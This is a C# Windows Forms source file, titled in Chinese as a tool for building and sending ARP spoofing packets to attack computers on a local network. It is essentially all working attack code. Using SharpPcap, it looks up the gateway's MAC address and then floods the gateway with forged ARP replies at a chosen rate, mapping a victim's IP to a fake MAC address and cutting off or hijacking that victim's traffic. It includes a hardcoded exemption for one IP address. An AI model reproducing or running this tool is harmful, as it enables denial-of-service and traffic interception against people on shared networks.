c#构造和发送ARP欺骗包对网内电脑进行攻击
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using Tamir.IPLib.Packets;
using Tamir.IPLib;
using Tamir.IPLib.Protocols;
using System.Threading;
namespace FoxArp
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
protected override CreateParams CreateParams
{
get
{
int CS_NOCLOSE = 0x200;
CreateParams parameters = base.CreateParams;
parameters.ClassStyle |= CS_NOCLOSE;
return parameters;
}
}
private bool bolSendPacket = true;
private bool bolGetDev = true;
private void numericUpDown1_ValueChanged(object sender, EventArgs e)
{
}
private void Form1_Load(object sender, EventArgs e)
{
try
{
PcapDeviceList devices = SharpPcap.GetAllDevices();
for (int z = 0; z < devices.Count;z++ )
{
cbbDeviece.Items.Add(devices[z].PcapName);
}
cbbDeviece.SelectedIndex = 0;
}
catch(Exception ex)
{ MessageBox.Show("绑定网卡失败！"); bolGetDev = false; }
}
Thread threadgetmac;
private void btnGetGateWayMac_Click(object sender, EventArgs e)
{
try
{
if(!bolGetDev)
{
MessageBox.Show("绑定网卡失败，无法完成"); return;
}
if (tbxGateWayIp.Text == "")
{
MessageBox.Show("请输入网关IP"); return;
}
else
{
System.Net.IPAddress.Parse(tbxGateWayIp.Text);
long z = Ipchange(tbxGateWayIp.Text);
string x = Ipchanged(z);
if(x!=tbxGateWayIp.Text)
{
MessageBox.Show("请输入正确的网关IP"); return;
}
}
}
catch(Exception se)
{ MessageBox.Show("请输入正确的网关IP"); return; }
btnGetGateWayMac.Enabled = false;
btnExit.Enabled = false;
bolGetMacSuc = false;
threadgetmac = new Thread(new ThreadStart(GetGatewayMac));
threadgetmac.Start();
Thread getmactimeout = new Thread(new ThreadStart(GetMacTimeOut));
getmactimeout.Start();
}
private bool bolGetMacSuc = false;
private void GetMacTimeOut()
{
Thread.Sleep(1000);
if (!bolGetMacSuc)
{
threadgetmac.Abort();
MessageBox.Show("获取网关MAC失败，请手动输入！");
}
else
{
MessageBox.Show("成功获取网关MAC！");
}
btnGetGateWayMac.Enabled = true;
btnExit.Enabled = true;
}
private void GetGatewayMac()
{
try
{
PcapDeviceList deviece = SharpPcap.GetAllDevices();
PcapDevice tempdevice = deviece[cbbDeviece.SelectedIndex];
string name = deviece[cbbDeviece.SelectedIndex].PcapName;
ARP A = new ARP(name);
NetworkDevice dev = (NetworkDevice)tempdevice;
A.LocalMAC = dev.MacAddress; ;
A.LocalIP = dev.IpAddress; ;
A.DeviceName = name;
tbxGateWayMac.Text = A.Resolve(tbxGateWayIp.Text, name);
bolGetMacSuc = true;
}
catch
{
}
}
private long Ipchange(string ipaddress)
{
int position1 = ipaddress.IndexOf(".");
int position2 = ipaddress.IndexOf(".", position1 + 1);
int position3 = ipaddress.IndexOf(".", position2 + 1);
long[] ip = new long[4];
ip[0] = long.Parse(ipaddress.Substring(0, position1));
ip[1] = long.Parse(ipaddress.Substring(position1 + 1, position2 - position1 - 1));
ip[2] = long.Parse(ipaddress.Substring(position2 + 1, position3 - position2 - 1));
ip[3] = long.Parse(ipaddress.Substring(position3 + 1));
return (ip[0] << 24) + (ip[1] << 16) + (ip[2] << 8) + (ip[3]);
}
private string strGateWayIp;
private string strGateWayMac;
private string strAttackIp;
private string strSouMac = "00-21-D2-3A-42-22";
private int intSendSpeed;
private string Ipchanged(long ipaddress)
{
string z = "";
z = (ipaddress >> 24).ToString() + "." + ((ipaddress >> 16) & 0x000000FF).ToString() + "." + ((ipaddress >> 8) & 0x000000FF).ToString() + "." + (ipaddress & 0x000000FF).ToString();
return z;
}
private void btnStart_Click(object sender, EventArgs e)
{
if (btnStart.Text == "开始")
{
if (!bolGetDev)
{
MessageBox.Show("绑定网卡失败，无法完成"); return;
}
if (tbxGateWayIp.Text == "" || tbxGateWayMac.Text == "" || tbxAtackIp.Text == "")
{
MessageBox.Show("IP或MAC不能为空"); return;
}
else
{
try
{
System.Net.IPAddress.Parse(tbxGateWayIp.Text);
long z = Ipchange(tbxGateWayIp.Text);
string x = Ipchanged(z);
if (x != tbxGateWayIp.Text)
{
MessageBox.Show("请输入正确的IP"); return;
}
System.Net.IPAddress.Parse(tbxAtackIp.Text);
z = Ipchange(tbxAtackIp.Text);
x = Ipchanged(z);
if (x != tbxAtackIp.Text)
{
MessageBox.Show("请输入正确的IP"); return;
}
if(tbxAtackIp.Text=="172.16.95.79"||tbxGateWayIp.Text=="172.16.95.79")
{
MessageBox.Show("不能攻击此IP,哈哈"); return;
}
}
catch
{
MessageBox.Show("请输入正确的IP"); return;
}
}
strAttackIp = tbxAtackIp.Text;
strGateWayIp = tbxGateWayIp.Text;
strGateWayMac = tbxGateWayMac.Text;
intSendSpeed = (int)nudSendSpeed.Value;
bolSendPacket = true;
btnExit.Enabled = false;
tbxAtackIp.Enabled = false;
tbxGateWayIp.Enabled = false;
tbxGateWayMac.Enabled = false;
nudSendSpeed.Enabled = false;
cbbDeviece.Enabled = false;
btnGetGateWayMac.Enabled = false;
btnStart.Text = "停止";
bgwArpSend.RunWorkerAsync();
}
else
{
bolSendPacket = false;
bgwArpSend.CancelAsync();
}
}
private void bgwArpSend_DoWork(object sender, DoWorkEventArgs e)
{
Thread a = new Thread(new ThreadStart(ArpPacketSend));
a.Start();
while(!bgwArpSend.CancellationPending)
{
Thread.Sleep(1000);
}
btnStart.Text = "开始";
btnStart.Enabled = true;
btnExit.Enabled = true;
tbxAtackIp.Enabled = true;
tbxGateWayIp.Enabled = true;
tbxGateWayMac.Enabled = true;
nudSendSpeed.Enabled = true;
cbbDeviece.Enabled = true;
btnGetGateWayMac.Enabled = true;
}
private void ArpPacketSend()
{
int xs = 0;
try
{
PcapDeviceList devices = SharpPcap.GetAllDevices();
PcapDevice device = devices[cbbDeviece.SelectedIndex];
NetworkDevice dev = (NetworkDevice)device;
int len = EthernetFields_Fields.ETH_HEADER_LEN;
string destmac = strGateWayMac;
byte[] bytes = new byte[60];
ARPPacket arp = new ARPPacket(len, bytes);
arp.SourceHwAddress = strSouMac;
arp.DestinationHwAddress = destmac;
arp.EthernetProtocol = EthernetProtocols_Fields.ARP;
arp.ARPHwType = 0x0001;
arp.ARPProtocolType = 0x0800;
arp.ARPHwLength = 6;
arp.ARPProtocolLength = 4;
arp.ARPOperation = 0x0002;
arp.ARPSenderHwAddress = strSouMac;
arp.ARPSenderProtoAddress = strAttackIp;
arp.ARPTargetHwAddress = destmac;
arp.ARPTargetProtoAddress = strGateWayIp;
while (bolSendPacket)
{
dev.PcapOpen(true, 20);
dev.PcapSendPacket(arp);
dev.PcapClose();
xs++;
if (xs == intSendSpeed)
{
Thread.Sleep(1000);
xs = 0;
}
}
}
catch
{
MessageBox.Show("发送失败！"); bolSendPacket = false;
bgwArpSend.CancelAsync();
}
}
private void btnExit_Click(object sender, EventArgs e)
{
this.Close();
}
private void btnCopyRight_Click(object sender, EventArgs e)
{
copyright cd = new copyright();
cd.ShowDialog();
}
}
}